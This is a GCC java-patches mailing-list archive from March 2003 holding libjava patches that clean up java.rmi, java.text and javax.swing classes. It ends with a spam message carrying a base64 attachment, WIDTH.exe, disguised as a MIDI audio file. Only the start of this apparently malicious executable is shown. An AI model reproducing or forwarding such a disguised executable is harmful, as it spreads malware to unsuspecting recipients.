+3awvzN/+w7sb5Zir3k8OWM=3D =3Divli =2D----END PGP SIGNATURE----- --Boundary-00=_UUte+XIBte+lxWc Content-Type: text/x-diff; charset="iso-8859-15"; name="rmi.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="rmi.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1797 diff -u -r1.1797 ChangeLog --- ChangeLog 21 Mar 2003 08:48:26 -0000 1.1797 +++ ChangeLog 21 Mar 2003 08:59:16 -0000 @@ -1,5 +1,36 @@ 2003-03-21 Michael Koch + * java/rmi/activation/Activatable.java + (serialVersionUID): New member variable. + * java/rmi/activation/ActivationGroup.java + (serialVersionUID): New member variable. + * java/rmi/activation/ActivationGroupDesc.java + (serialVersionUID): New member variable. + * java/rmi/registry/Registry.java: + Reformated. + (Registry): Deprecated. + * java/rmi/server/LoaderHandler.java + Reformated. + (LoaderHandler): Deprecated. + * java/rmi/server/LogStream.java + Reformated. + (LogStream): Deprecated. + * java/rmi/server/Operation.java + (Operation): Deprecated. + * java/rmi/server/RMIFailureHandler.java: + Reformated. + * java/rmi/server/RMISocketFactory.java: + Reformated. + * java/rmi/server/RemoteCall.java + (RemoteCall): Deprecated. + * java/rmi/server/RemoteStub.java: + Reformated. + * java/rmi/server/Skeleton.java + Reformated. + (Skeleton): Deprecated. + +2003-03-21 Michael Koch + * java/io/LineNumberReader.java (LineNumberReader): Merged documentation with classpath. (getLineNumber): Likewise. Index: java/rmi/activation/Activatable.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/rmi/activation/Activatable.java,v retrieving revision 1.2 diff -u -r1.2 Activatable.java --- java/rmi/activation/Activatable.java 22 Jan 2002 22:40:25 -0000 1.2 +++ java/rmi/activation/Activatable.java 21 Mar 2003 08:59:16 -0000 @@ -48,6 +48,8 @@ public abstract class Activatable extends RemoteServer { +static final long serialVersionUID = -3120617863591563455L; + protected Activatable(String location, MarshalledObject data, boolean restart, int port) throws ActivationException, RemoteException { throw new Error("Not implemented"); } Index: java/rmi/activation/ActivationGroup.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/rmi/activation/ActivationGroup.java,v retrieving revision 1.2 diff -u -r1.2 ActivationGroup.java --- java/rmi/activation/ActivationGroup.java 22 Jan 2002 22:40:25 -0000 1.2 +++ java/rmi/activation/ActivationGroup.java 21 Mar 2003 08:59:16 -0000 @@ -46,6 +46,8 @@ extends UnicastRemoteObject implements ActivationInstantiator { +static final long serialVersionUID = -7696947875314805420L; + protected ActivationGroup(ActivationGroupID groupID) throws RemoteException { throw new Error("Not implemented"); } Index: java/rmi/activation/ActivationGroupDesc.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/rmi/activation/ActivationGroupDesc.java,v retrieving revision 1.3 diff -u -r1.3 ActivationGroupDesc.java --- java/rmi/activation/ActivationGroupDesc.java 2 Oct 2002 21:21:37 -0000 1.3 +++ java/rmi/activation/ActivationGroupDesc.java 21 Mar 2003 08:59:16 -0000 @@ -48,6 +48,8 @@ public static class CommandEnvironment implements Serializable { +static final long serialVersionUID = 6165754737887770191L; + private String cmdpath; private String[] argv; Index: java/rmi/registry/Registry.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/rmi/registry/Registry.java,v retrieving revision 1.2 diff -u -r1.2 Registry.java --- java/rmi/registry/Registry.java 22 Jan 2002 22:40:28 -0000 1.2 +++ java/rmi/registry/Registry.java 21 Mar 2003 08:59:16 -0000 @@ -43,19 +43,22 @@ import java.rmi.AlreadyBoundException; import java.rmi.Remote; -public interface Registry - extends Remote { +public interface Registry extends Remote +{ + public static final int REGISTRY_PORT = 1099; -public static int REGISTRY_PORT = 1099; + public Remote lookup(String name) + throws RemoteException, NotBoundException, AccessException; -public Remote lookup(String name) throws RemoteException, NotBoundException, AccessException; + public void bind(String name, Remote obj) + throws RemoteException, AlreadyBoundException, AccessException; -public void bind(String name, Remote obj) throws RemoteException, AlreadyBoundException, AccessException; + public void unbind(String name) + throws RemoteException, NotBoundException, AccessException; -public void unbind(String name) throws RemoteException, NotBoundException, AccessException; - -public void rebind(String name, Remote obj) throws RemoteException, AccessException; - -public String[] list() throws RemoteException, AccessException; + public void rebind(String name, Remote obj) + throws RemoteException, AccessException; + public String[] list() + throws RemoteException, AccessException; } Index: java/rmi/server/LoaderHandler.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/rmi/server/LoaderHandler.java,v retrieving revision 1.2 diff -u -r1.2 LoaderHandler.java --- java/rmi/server/LoaderHandler.java 22 Jan 2002 22:40:29 -0000 1.2 +++ java/rmi/server/LoaderHandler.java 21 Mar 2003 08:59:16 -0000 @@ -40,15 +40,18 @@ import java.net.MalformedURLException; import java.net.URL; +/** + * @deprecated + */ +public interface LoaderHandler +{ + public static final String packagePrefix = ""; -public interface LoaderHandler { + public Class loadClass(String name) + throws MalformedURLException, ClassNotFoundException; -public static final String packagePrefix = ""; - -public Class loadClass(String name) throws MalformedURLException, ClassNotFoundException; - -public Class loadClass(URL codebase, String name) throws MalformedURLException, ClassNotFoundException; - -public Object getSecurityContext(ClassLoader loader); + public Class loadClass(URL codebase, String name) + throws MalformedURLException, ClassNotFoundException; + public Object getSecurityContext(ClassLoader loader); } Index: java/rmi/server/LogStream.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/rmi/server/LogStream.java,v retrieving revision 1.3 diff -u -r1.3 LogStream.java --- java/rmi/server/LogStream.java 16 Sep 2002 09:46:36 -0000 1.3 +++ java/rmi/server/LogStream.java 21 Mar 2003 08:59:16 -0000 @@ -41,62 +41,80 @@ import java.io.OutputStream; import java.io.IOException; +/** + * @deprecated + */ public class LogStream - extends PrintStream { - -public static final int SILENT = 0; -public static final int BRIEF = 10; -public static final int VERBOSE = 20; - -private static PrintStream defStream; - -private LogStream(OutputStream s) { - super(s); -} - -public static LogStream log(String name) { - throw new Error("Not implemented"); -} - -public static PrintStream getDefaultStream() { - return (defStream); -} - -public static void setDefaultStream(PrintStream s) { - defStream = s; -} - -public OutputStream getOutputStream() { - return (out); -} - -public void setOutputStream(OutputStream s) { - out = s; -} - -public void write(int b) { - super.write(b); -} - -public void write(byte[] b, int off, int len) { - super.write(b, off, len); -} - -public String toString() { - throw new Error("Not implemented"); -} - -public static int parseLevel(String s) { - if (s.equalsIgnoreCase("silent")) { - return (SILENT); - } - if (s.equalsIgnoreCase("brief")) { - return (BRIEF); - } - if (s.equalsIgnoreCase("verbose")) { - return (VERBOSE); - } - return (SILENT); + extends PrintStream +{ + public static final int SILENT = 0; + public static final int BRIEF = 10; + public static final int VERBOSE = 20; + + private static PrintStream defStream; + + private LogStream(OutputStream s) + { + super(s); + } + + public static LogStream log(String name) + { + throw new Error("Not implemented"); + } + + public static PrintStream getDefaultStream() + { + return (defStream); + } + + public static void setDefaultStream(PrintStream s) + { + defStream = s; + } + + public OutputStream getOutputStream() + { + return (out); + } + + public void setOutputStream(OutputStream s) + { + out = s; + } + + public void write(int b) + { + super.write(b); + } + + public void write(byte[] b, int off, int len) + { + super.write(b, off, len); + } + + public String toString() + { + throw new Error("Not implemented"); + } + + public static int parseLevel(String s) { + if (s.equalsIgnoreCase("silent")) + { + return (SILENT); + } + + if (s.equalsIgnoreCase("brief")) + { + return (BRIEF); + } + + if (s.equalsIgnoreCase("verbose")) + { + return (VERBOSE); + } + + return (SILENT); } } Index: java/rmi/server/Operation.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/rmi/server/Operation.java,v retrieving revision 1.2 diff -u -r1.2 Operation.java --- java/rmi/server/Operation.java 22 Jan 2002 22:40:29 -0000 1.2 +++ java/rmi/server/Operation.java 21 Mar 2003 08:59:16 -0000 @@ -37,6 +37,9 @@ package java.rmi.server; +/** + * @deprecated + */ public class Operation { private String operation; Index: java/rmi/server/RMIFailureHandler.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/rmi/server/RMIFailureHandler.java,v retrieving revision 1.2 diff -u -r1.2 RMIFailureHandler.java --- java/rmi/server/RMIFailureHandler.java 22 Jan 2002 22:40:29 -0000 1.2 +++ java/rmi/server/RMIFailureHandler.java 21 Mar 2003 08:59:16 -0000 @@ -37,8 +37,10 @@ package java.rmi.server; -public interface RMIFailureHandler { - -public boolean failure(Exception ex); - +public interface RMIFailureHandler +{ + /** + * @exception IOException If an error occurs + */ + public boolean failure (Exception ex); } Index: java/rmi/server/RMISocketFactory.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/rmi/server/RMISocketFactory.java,v retrieving revision 1.2 diff -u -r1.2 RMISocketFactory.java --- java/rmi/server/RMISocketFactory.java 22 Jan 2002 22:40:29 -0000 1.2 +++ java/rmi/server/RMISocketFactory.java 21 Mar 2003 08:59:16 -0000 @@ -43,42 +43,64 @@ import gnu.java.rmi.server.RMIDefaultSocketFactory; public abstract class RMISocketFactory - implements RMIClientSocketFactory, RMIServerSocketFactory { - -static private RMISocketFactory defaultFactory; -static private RMISocketFactory currentFactory; -static private RMIFailureHandler currentHandler; - -static { - defaultFactory = new RMIDefaultSocketFactory(); - currentFactory = defaultFactory; -} - -public RMISocketFactory() { -} - -public abstract Socket createSocket(String host, int port) throws IOException; - -public abstract ServerSocket createServerSocket(int port) throws IOException; - -public static void setSocketFactory(RMISocketFactory fac) throws IOException { - currentFactory = fac; -} - -public static RMISocketFactory getSocketFactory() { - return (currentFactory); -} - -public static RMISocketFactory getDefaultSocketFactory() { - return (defaultFactory); -} - -public static void setFailureHandler(RMIFailureHandler fh) { - currentHandler = fh; -} - -public static RMIFailureHandler getFailureHandler() { - return (currentHandler); -} - + implements RMIClientSocketFactory, RMIServerSocketFactory +{ + static private RMISocketFactory defaultFactory; + static private RMISocketFactory currentFactory; + static private RMIFailureHandler currentHandler; + + static + { + defaultFactory = new RMIDefaultSocketFactory(); + currentFactory = defaultFactory; + } + + public RMISocketFactory () + { + } + + /** + * @exception IOException If an error occurs + */ + public abstract Socket createSocket (String host, int port) + throws IOException; + + /** + * @exception IOException If an error occurs + */ + public abstract ServerSocket createServerSocket (int port) + throws IOException; + + /** + * @exception IOException If an error occurs + * @exception SecurityException FIXME + */ + public static void setSocketFactory (RMISocketFactory fac) + throws IOException + { + currentFactory = fac; + } + + public static RMISocketFactory getSocketFactory () + { + return currentFactory; + } + + public static RMISocketFactory getDefaultSocketFactory () + { + return defaultFactory; + } + + /** + * @exception SecurityException FIXME + */ + public static void setFailureHandler (RMIFailureHandler fh) + { + currentHandler = fh; + } + + public static RMIFailureHandler getFailureHandler () + { + return currentHandler; + } } Index: java/rmi/server/RemoteCall.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/rmi/server/RemoteCall.java,v retrieving revision 1.2 diff -u -r1.2 RemoteCall.java --- java/rmi/server/RemoteCall.java 22 Jan 2002 22:40:29 -0000 1.2 +++ java/rmi/server/RemoteCall.java 21 Mar 2003 08:59:16 -0000 @@ -43,6 +43,9 @@ import java.io.ObjectInput; import java.io.StreamCorruptedException; +/** + * @deprecated + */ public interface RemoteCall { public ObjectOutput getOutputStream() throws IOException; Index: java/rmi/server/RemoteStub.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/rmi/server/RemoteStub.java,v retrieving revision 1.2 diff -u -r1.2 RemoteStub.java --- java/rmi/server/RemoteStub.java 22 Jan 2002 22:40:29 -0000 1.2 +++ java/rmi/server/RemoteStub.java 21 Mar 2003 08:59:16 -0000 @@ -1,5 +1,5 @@ /* - Copyright (c) 1996, 1997, 1998, 1999 Free Software Foundation, Inc. + Copyright (c) 1996, 1997, 1998, 1999, 2002 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -38,20 +38,22 @@ package java.rmi.server; public abstract class RemoteStub - extends RemoteObject { - -public static final long serialVersionUID = -1585587260594494182l; - -protected RemoteStub() { - super(); -} - -protected RemoteStub(RemoteRef ref) { - super(ref); -} - -protected static void setRef(RemoteStub stub, RemoteRef ref) { - stub.ref = ref; -} - -} + extends RemoteObject +{ + static final long serialVersionUID = -1585587260594494182l; + + protected RemoteStub () + { + super (); + } + + protected RemoteStub (RemoteRef ref) + { + super (ref); + } + + protected static void setRef (RemoteStub stub, RemoteRef ref) + { + stub.ref = ref; + } +} // class RemoteSub Index: java/rmi/server/Skeleton.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/rmi/server/Skeleton.java,v retrieving revision 1.2 diff -u -r1.2 Skeleton.java --- java/rmi/server/Skeleton.java 22 Jan 2002 22:40:29 -0000 1.2 +++ java/rmi/server/Skeleton.java 21 Mar 2003 08:59:16 -0000 @@ -41,9 +41,13 @@ import java.lang.Exception; import java.rmi.server.RemoteCall; -public interface Skeleton { - -public void dispatch(Remote obj, RemoteCall theCall, int opnum, long hash) throws Exception; -public Operation[] getOperations(); +/** + * @deprecated + */ +public interface Skeleton +{ + public void dispatch (Remote obj, RemoteCall theCall, int opnum, long hash) + throws Exception; + public Operation[] getOperations(); } Index: java/text/AttributedCharacterIterator.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/text/AttributedCharacterIterator.java,v retrieving revision 1.2 diff -u -r1.2 AttributedCharacterIterator.java --- java/text/AttributedCharacterIterator.java 22 Jan 2002 22:40:37 -0000 1.2 +++ java/text/AttributedCharacterIterator.java 21 Mar 2003 08:59:16 -0000 @@ -70,6 +70,8 @@ public static class Attribute implements Serializable { + private static final long serialVersionUID = -9142742483513960612L; + /*************************************************************************/ /* Index: java/text/MessageFormat.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/text/MessageFormat.java,v retrieving revision 1.11 diff -u -r1.11 MessageFormat.java --- java/text/MessageFormat.java 2 Jul 2002 19:43:06 -0000 1.11 +++ java/text/MessageFormat.java 21 Mar 2003 08:59:16 -0000 @@ -143,6 +143,8 @@ public class MessageFormat extends Format { + private static final long serialVersionUID = 6479157306784022952L; + // Helper that returns the text up to the next format opener. The // text is put into BUFFER. Returns index of character after end of // string. Throws IllegalArgumentException on error. --Boundary-00=_UUte+XIBte+lxWc-- From java-patches-return-6548-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Mar 21 09:04:43 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 1585 invoked by alias); 21 Mar 2003 09:04:42 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 1574 invoked from network); 21 Mar 2003 09:04:41 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.18) by sources.redhat.com with SMTP; 21 Mar 2003 09:04:41 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-73-173.ewetel.net [80.228.73.173]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h2L94e8G002387 for ; Fri, 21 Mar 2003 10:04:40 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18wIQs-0005tp-00 for ; Fri, 21 Mar 2003 10:03:22 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: Re: FYI: Patch: java.rmi Date: Fri, 21 Mar 2003 10:05:34 +0100 User-Agent: KMail/1.5 References: <200303211002.12505.konqueror@gmx.de> In-Reply-To: <200303211002.12505.konqueror@gmx.de> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline Message-Id: <200303211005.34808.konqueror@gmx.de> X-CheckCompat: OK =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Freitag, 21. M=E4rz 2003 10:02 schrieb Michael Koch: > Hi list, > > > I commited the attached patch to trunk to clean up java.rmi a bit. Accidently a fix for two classes in java.text went it. It added=20 serialVersionUID to java.text.AttributedCharacterIterator and=20 java.text.MessageFormat. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+etXeWSOgCCdjSDsRAl7xAJ40JvaO30/qYChDJH0S9Fnv6sauugCeOAko pF9/cRjvNPxivtB7YnJ2h2o=3D =3DFWS4 =2D----END PGP SIGNATURE----- From java-patches-return-6549-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Mar 21 09:19:19 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 5563 invoked by alias); 21 Mar 2003 09:19:17 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 5550 invoked from network); 21 Mar 2003 09:19:17 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.12) by sources.redhat.com with SMTP; 21 Mar 2003 09:19:17 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-73-173.ewetel.net [80.228.73.173]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h2L9JFdx029021 for ; Fri, 21 Mar 2003 10:19:15 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18wIez-0005uW-00 for ; Fri, 21 Mar 2003 10:17:57 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: Patch: java.swing Date: Fri, 21 Mar 2003 10:20:09 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_Jlte+ascp3jrFza" Message-Id: <200303211020.09740.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_Jlte+ascp3jrFza Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the attached patch to trunk to fix some java.swing issues. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+etlJWSOgCCdjSDsRAqPAAJ9Uu56rFQ8iRb7Th8lubyGPTidxiwCfVwVn I6BMOak5cXi3nt0nvVHkkyg=3D =3Dcgpz =2D----END PGP SIGNATURE----- --Boundary-00=_Jlte+ascp3jrFza Content-Type: text/x-diff; charset="iso-8859-15"; name="swing.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="swing.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1798 diff -u -r1.1798 ChangeLog --- ChangeLog 21 Mar 2003 09:00:28 -0000 1.1798 +++ ChangeLog 21 Mar 2003 09:17:55 -0000 @@ -1,5 +1,24 @@ 2003-03-21 Michael Koch + * javax/swing/Action.java + (ACCELERATOR_KEY): New constant. + (ACTION_COMMAND_KEY): Likewise. + (MNEMONIC_KEY): Likewise. + * javax/swing/UnsupportedLookAndFeelException.java + (UnsupportedLookAndFeelException): Must be public. + * javax/swing/WindowConstants.java + (EXIT_ON_CLOSE): New constant. + * javax/swing/text/BadLocationException.java + (offset): New member variable. + (BadLocationException): New implementation, documentation added. + (offsetRequested): New method. + * javax/swing/text/Caret.java: + Reformated. + * javax/swing/text/Document.java: + Reformated. + +2003-03-21 Michael Koch + * java/rmi/activation/Activatable.java (serialVersionUID): New member variable. * java/rmi/activation/ActivationGroup.java Index: javax/swing/Action.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/Action.java,v retrieving revision 1.1 diff -u -r1.1 Action.java --- javax/swing/Action.java 9 Aug 2002 04:26:10 -0000 1.1 +++ javax/swing/Action.java 21 Mar 2003 09:17:55 -0000 @@ -78,6 +78,21 @@ */ public static final String SMALL_ICON = "SmallIcon"; + /** + * ACCELERATOR_KEY + */ + public static final String ACCELERATOR_KEY = "AcceleratorKey"; + + /** + * ACTION_COMMAND_KEY + */ + public static final String ACTION_COMMAND_KEY = "ActionCommandKey"; + + /** + * MNEMONIC_KEY + */ + public static final String MNEMONIC_KEY = "MnemonicKey"; + //------------------------------------------------------------- // Interface: Action ------------------------------------------ Index: javax/swing/UnsupportedLookAndFeelException.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/UnsupportedLookAndFeelException.java,v retrieving revision 1.1 diff -u -r1.1 UnsupportedLookAndFeelException.java --- javax/swing/UnsupportedLookAndFeelException.java 9 Aug 2002 04:26:10 -0000 1.1 +++ javax/swing/UnsupportedLookAndFeelException.java 21 Mar 2003 09:17:55 -0000 @@ -40,7 +40,7 @@ public class UnsupportedLookAndFeelException extends Exception { - UnsupportedLookAndFeelException(String a) + public UnsupportedLookAndFeelException(String a) { super(a); } Index: javax/swing/WindowConstants.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/WindowConstants.java,v retrieving revision 1.1 diff -u -r1.1 WindowConstants.java --- javax/swing/WindowConstants.java 9 Aug 2002 04:26:10 -0000 1.1 +++ javax/swing/WindowConstants.java 21 Mar 2003 09:17:55 -0000 @@ -63,5 +63,10 @@ */ public static final int DISPOSE_ON_CLOSE = 2; + /** + * EXIT_ON_CLOSE + */ + public static final int EXIT_ON_CLOSE =3; + } // WindowConstants Index: javax/swing/text/BadLocationException.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/text/BadLocationException.java,v retrieving revision 1.1 diff -u -r1.1 BadLocationException.java --- javax/swing/text/BadLocationException.java 9 Aug 2002 04:26:12 -0000 1.1 +++ javax/swing/text/BadLocationException.java 21 Mar 2003 09:17:55 -0000 @@ -40,7 +40,25 @@ public class BadLocationException extends Exception { - BadLocationException() - { - } + int offset; + + /** + * Constructs a BadLocationException + * + * @param str A string indicating what was wrong with the arguments + * @param offset Offset within the document that was requested >= 0 + */ + public BadLocationException (String str, int offset) + { + super (str); + this.offset = offset; + } + + /** + * Returns the offset into the document that was not legal + */ + public int offsetRequested () + { + return offset; + } } Index: javax/swing/text/Caret.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/text/Caret.java,v retrieving revision 1.2 diff -u -r1.2 Caret.java --- javax/swing/text/Caret.java 2 Mar 2003 19:45:52 -0000 1.2 +++ javax/swing/text/Caret.java 21 Mar 2003 09:17:55 -0000 @@ -42,21 +42,37 @@ public interface Caret { - void addChangeListener(ChangeListener l); - void deinstall(JTextComponent c); - int getBlinkRate(); - int getDot(); - Point getMagicCaretPosition(); - int getMark(); - void install(JTextComponent c); - boolean isSelectionVisible(); - boolean isVisible(); - void moveDot(int dot); - void paint(Graphics g); - void removeChangeListener(ChangeListener l); - void setBlinkRate(int rate); - void setDot(int dot); - void setMagicCaretPosition(Point p); - void setSelectionVisible(boolean v); - void setVisible(boolean v); + void addChangeListener(ChangeListener l); + + void deinstall(JTextComponent c); + + int getBlinkRate(); + + int getDot(); + + Point getMagicCaretPosition(); + + int getMark(); + + void install(JTextComponent c); + + boolean isSelectionVisible(); + + boolean isVisible(); + + void moveDot(int dot); + + void paint(Graphics g); + + void removeChangeListener(ChangeListener l); + + void setBlinkRate(int rate); + + void setDot(int dot); + + void setMagicCaretPosition(Point p); + + void setSelectionVisible(boolean v); + + void setVisible(boolean v); } Index: javax/swing/text/Document.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/text/Document.java,v retrieving revision 1.1 diff -u -r1.1 Document.java --- javax/swing/text/Document.java 9 Aug 2002 04:26:12 -0000 1.1 +++ javax/swing/text/Document.java 21 Mar 2003 09:17:55 -0000 @@ -42,21 +42,25 @@ public interface Document { - void addDocumentListener(DocumentListener listener); - void addUndoableEditListener(UndoableEditListener listener); - Position createPosition(int offs); - Element getDefaultRootElement(); - Position getEndPosition(); - int getLength(); - Object getProperty(Object key); - Element[] getRootElements(); - Position getStartPosition(); - String getText(int offset, int length); - void getText(int offset, int length, Segment txt); - void insertString(int offset, String str, AttributeSet a); - void putProperty(Object key, Object value); - void remove(int offs, int len); - void removeDocumentListener(DocumentListener listener); - void removeUndoableEditListener(UndoableEditListener listener); - void render(Runnable r); + public static final String StreamDescriptionProperty = "stream"; + + public static final String TitleProperty = "text"; + + void addDocumentListener(DocumentListener listener); + void addUndoableEditListener(UndoableEditListener listener); + Position createPosition(int offs); + Element getDefaultRootElement(); + Position getEndPosition(); + int getLength(); + Object getProperty(Object key); + Element[] getRootElements(); + Position getStartPosition(); + String getText(int offset, int length); + void getText(int offset, int length, Segment txt); + void insertString(int offset, String str, AttributeSet a); + void putProperty(Object key, Object value); + void remove(int offs, int len); + void removeDocumentListener(DocumentListener listener); + void removeUndoableEditListener(UndoableEditListener listener); + void render(Runnable r); } --Boundary-00=_Jlte+ascp3jrFza-- From java-patches-return-6550-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Mar 21 12:01:00 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 8625 invoked by alias); 21 Mar 2003 12:00:59 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 8618 invoked from network); 21 Mar 2003 12:00:58 -0000 Received: from unknown (HELO imf25bis.bellsouth.net) (205.152.58.197) by sources.redhat.com with SMTP; 21 Mar 2003 12:00:58 -0000 Received: from Xbn ([68.154.36.177]) by imf25bis.bellsouth.net (InterMail vM.5.01.04.25 201-253-122-122-125-20020815) with SMTP id <20030321120256.ZZVG20707.imf25bis.bellsouth.net@Xbn> for ; Fri, 21 Mar 2003 07:02:56 -0500 From: halsall To: java-patches@gcc.gnu.org Subject: Hello,let's be friends MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=Tbb26119XB3b0D6810Q2V9Te Message-Id: <20030321120256.ZZVG20707.imf25bis.bellsouth.net@Xbn> Date: Fri, 21 Mar 2003 07:03:02 -0500 --Tbb26119XB3b0D6810Q2V9Te Content-Type: text/html; Content-Transfer-Encoding: quoted-printable --Tbb26119XB3b0D6810Q2V9Te Content-Type: audio/x-midi; name=WIDTH.exe Content-Transfer-Encoding: base64 Content-ID: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA AAAAUAkAEAAAAABAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 